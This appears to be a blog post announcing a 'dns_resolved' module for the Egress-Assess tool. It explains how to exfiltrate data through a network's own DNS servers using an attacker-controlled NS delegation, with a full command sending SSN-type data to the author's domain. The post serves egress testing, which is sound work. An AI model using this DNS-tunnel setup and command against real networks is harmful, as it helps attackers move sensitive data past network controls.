Egress-Assess Repo: https://github.com/ChrisTruncer/Egress-Assess
DNS is a channel that can usually be utilized to exfiltrate data out over a network. Even in the event that a network you are operating in requires authenticating to a proxy for data to leave a network, users can typically make DNS requests which are forwarded on via the local DNS servers in the user’s network. An attacker can utilize normal DNS functionality to forward data, C2, etc. out of the current network to a destination of their choosing, and Raphael Mudge has already weaponized this for use in Beacon with Cobalt Strike.
A new module has been added in to Egress-Assess that allows you to utilize your system’s DNS server to exfiltrate data. This is different from the existing DNS module within Egress-Assess. The existing module send a DNS packet directly to the DNS server you specify, the “dns_resolved” module utilizes your network’s own DNS server.
To utilize the existing network’s DNS server, it will require some setup. Raphael also has a blog post describing virtually the same configuration/setup that will be required to exfiltrate your data.
The first step I took was to create an A record egress.christophertruncer.com and point that to the server I intend on acting as my endpoint for the data I am exfiltrating. Next, I created a NS record for a subdomain that I will use for exfiltrating data, and then point the NS record to the A record I just created (egress.christophertruncer.com). My setup looks like the following:
Now, everything is setup and ready to go! To use this, my sample Egress-Assess command would be:
./Egress-Assess --client dns_resolved --datatype ssn --ip test.christophertruncer.com
Since egress.christophertruncer.com acts as the nameserver for test.christophertruncer.com, all requests using the “test” subdomain are sent to egress, sending all data over DNS to an endpoint I control.
If you have any questions on this, feel free to shoot a tweet my way or hop in #veil on Freenode!